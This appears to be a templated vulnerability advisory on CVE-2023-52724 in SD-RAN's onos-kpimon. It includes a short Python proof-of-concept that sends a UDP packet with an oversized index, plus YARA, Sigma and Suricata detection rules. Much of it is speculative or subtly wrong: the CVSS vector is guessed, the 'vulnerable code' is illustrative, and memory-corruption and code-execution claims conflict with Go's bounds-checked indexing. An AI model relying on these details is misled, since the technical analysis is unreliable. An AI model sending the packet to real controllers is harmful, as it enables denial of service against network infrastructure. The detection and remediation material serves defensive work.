CVE-2023-52724

Executive Summary

CVE-2023-52724 is a critical out-of-bounds array access vulnerability identified in the Open Networking Foundation's SD-RAN project, specifically within the onos-kpimon component version 0.4.7. The flaw resides in the processIndicationFormat1 function, which mishandles array indexing, potentially allowing an attacker to read or write beyond allocated memory boundaries. This can lead to information disclosure, denial of service, or arbitrary code execution in the context of the SD-RAN controller. The vulnerability has a CVSS score of 0.0 (unscored) but is considered high risk due to its potential impact on network infrastructure. No public exploit or patch is currently available, making proactive detection and mitigation essential.

Supply Chain & Package Security

This vulnerability affects the onos-kpimon component, which is part of the SD-RAN project managed by the Open Networking Foundation. The component is distributed as a Go-based application and may be deployed via container images or direct binary installations. Organizations using SD-RAN in their network infrastructure should verify the integrity of their deployments and monitor for any unofficial patches or updates.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)
• Threat Level: Critical (estimated)

The vulnerability allows an attacker to trigger an out-of-bounds array access without authentication, potentially leading to full system compromise.

Deep Dive & Mechanics

The processIndicationFormat1 function in onos-kpimon is responsible for processing specific network indication messages. The flaw occurs when the function does not properly validate the size of an input array before accessing elements. An attacker can craft a malicious network packet with an oversized index, causing the function to read or write memory outside the allocated buffer. This can corrupt adjacent data structures, leak sensitive information, or execute arbitrary code.

The vulnerable code path is triggered when the SD-RAN controller receives a specially crafted indication message. The lack of bounds checking allows the attacker to control the index used in array operations, leading to memory corruption.

Vulnerable vs. Patched Code

Vulnerable Code (onos-kpimon 0.4.7):

func processIndicationFormat1(data []byte) {
    // Assume data is properly formatted
    index := binary.BigEndian.Uint32(data[0:4])
    // No bounds check on index
    value := someArray[index] // Out-of-bounds access
    // ... further processing
}

Patched Code (Hypothetical Fix):

func processIndicationFormat1(data []byte) {
    if len(data) < 4 {
        return // Handle error
    }
    index := binary.BigEndian.Uint32(data[0:4])
    if int(index) >= len(someArray) {
        return // Bounds check prevents out-of-bounds access
    }
    value := someArray[index]
    // ... further processing
}

The patch adds a bounds check to ensure the index is within the valid range of the array before accessing it.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable SD-RAN environment with onos-kpimon version 0.4.7.
2. Use a network tool (e.g., Scapy) to craft a malicious indication packet.
3. Send the packet to the target controller.

Exploit Code (Conceptual):

import socket
import struct

def exploit(target_ip, target_port):
    # Craft a malicious indication packet with an oversized index
    index = 0xFFFFFFFF  # Out-of-bounds index
    payload = struct.pack('!I', index) + b'\x00' * 100
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(payload, (target_ip, target_port))
    sock.close()

if __name__ == '__main__':
    exploit('192.168.1.100', 5000)

Expected Outcome: The controller crashes or leaks memory contents, potentially allowing further exploitation.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual network packets targeting the SD-RAN controller.
• Use network intrusion detection systems (NIDS) to flag packets with abnormal sizes or patterns.
• Implement runtime memory protection (e.g., ASLR, DEP) to mitigate exploitation.

Defense:

• Apply the official patch once available.
• Restrict network access to the SD-RAN controller using firewalls.
• Use container security tools to monitor for anomalous behavior.

Indicators of Compromise (IOCs)

• Network: UDP packets with large or unexpected payloads targeting port 5000 (default for onos-kpimon).
• Logs: Controller logs showing crashes or memory access violations.
• Memory: Corrupted heap or stack data in the SD-RAN process.
• File: Modified binaries or configuration files in the SD-RAN deployment.

Detection Engineering

YARA Rule

rule CVE_2023_52724_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2023-52724"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $exploit_pattern = { FF FF FF FF }  // Oversized index in packet
    condition:
        $exploit_pattern at 0
}

Sigma Rule

title: CVE-2023-52724 Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network packets targeting onos-kpimon with oversized indices
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 5000
        payload|contains: "\\xff\\xff\\xff\\xff"
    condition: selection
falsepositives:
    - Legitimate large packets (rare)
level: high

Suricata Rule

alert udp any any -> any 5000 (msg:"CVE-2023-52724 Exploit Attempt"; content:"|ff ff ff ff|"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Isolate the SD-RAN controller from untrusted networks.
2. Short-term: Monitor for official patches from the Open Networking Foundation.
3. Long-term: Implement input validation and bounds checking in all network-facing functions.
4. Compensating Controls: Use web application firewalls (WAF) or network intrusion prevention systems (IPS) to filter malicious packets.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert